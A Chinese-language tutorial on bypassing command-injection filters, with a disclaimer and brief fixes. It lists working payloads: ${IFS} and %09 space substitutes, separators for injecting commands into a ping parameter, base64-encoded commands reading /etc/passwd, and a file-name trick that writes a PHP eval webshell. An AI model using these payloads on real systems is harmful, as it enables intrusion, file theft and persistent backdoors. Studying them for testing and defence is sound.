RCE
免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
描述
由于业务需求,程序有可能要执行系统命令的功能,但如果执行的命令用户可控,业务上有没有做好限制,就可能出现命令执行漏洞。
相关工具
相关案例
writeup
绕过技巧
空格代替
空格在 bash 下,可以用以下字符代替空格
- <
- ${IFS}
- $IFS$9
- %09
- cat</etc/passwd
- cat${IFS}/etc/passwd
- cat$IFS$9/etc/passwd
- cat%09/etc/passwd
$IFS 在 linux 下表示分隔符,只有 cat$IFSa.txt 的时候, bash 解释器会把整个 IFSa 当做变量名,所以导致没有办法运行,然而如果加一个 {} 就固定了变量名,同理在后面加个 $ 可以起到截断的作用,而 $9 指的是当前系统 shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离。
截断符号
比如测试 ping 功能的点,要求填写一个 ip 参数这样的题目,这个时候就需要测试截断符号,将你输入的 ip 参数和后面要执行的命令隔开。首先测试所有的截断符号:
- $
- ;
- |
- -
- (
- )
- `
- ||
- &&
- &
- }
- {
- %0a
利用截断符号配合普通命令简单问题基本就出来;例如:ip=127.0.0.1;cat /home/flag.txt 这样就可以达到同时执行两条命令的效果
编码
这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令,那么就可以用下面这种方式将cat先base64编码后再进行解码运行。
- echo 'cat' | base64
-
- `echo 'Y2F0Cg==' | base64 -d` /etc/passwd
针对一些代码执行的场景,可以通过在 base64 中添加干扰字符的方式尝试绕过
- success-inject
- c3VjY2Vzcy1pbmplY3Q=
php
- $str='--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=';
- echo base64_decode($str);
- ?>
python
- import base64
- leleyyds = base64.b64decode("--!~@--c3V$$j<$>Y--|@--2Vzcy1--|@--p--|@--b^^mp--|@--lY--|@--3Q=")
- print(leleyyds.decode())
单引号
cat /etc/pass'w'd
反斜杠利用
linux 下创建文件的命令可以用 1>1
创建文件名为 1 的空文件
ls>1
可以直接把 ls 的内容导入一个文件中, 但是会默认追加 \n
Linux
- w>hp\\
- w>c.p\\
- w>d\>\\
- w>\ -\\
- w>e64\\
- w>bas\\
- w>7\|\\
- w>XSk\\
- w>Fsx\\
- w>dFV\\
- w>kX0\\
- w>bCg\\
- w>XZh\\
- w>AgZ\\
- w>waH\\
- w>PD9\\
- w>o\ \\
- w>ech\\
- ls -t>ls
- sh ls
- w 长度最短的命令
- ls -t 以创建时间来列出当前目录下所有文件
- 文件列表以[ [ 换 行符] ]分割每个文件
- 引入
\
转义ls时的换行 - 换行不影响命令执行
- 成功构造任意命令执行,写入Webshell
- ls -t
- echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d>c.php
Fuzz字典
修复方案
- 避免命令用户可控
- 如需用户输入参数,则对用户输入做严格校验,如&&、|、;等
点击关注,共同学习!安全狗的自我修养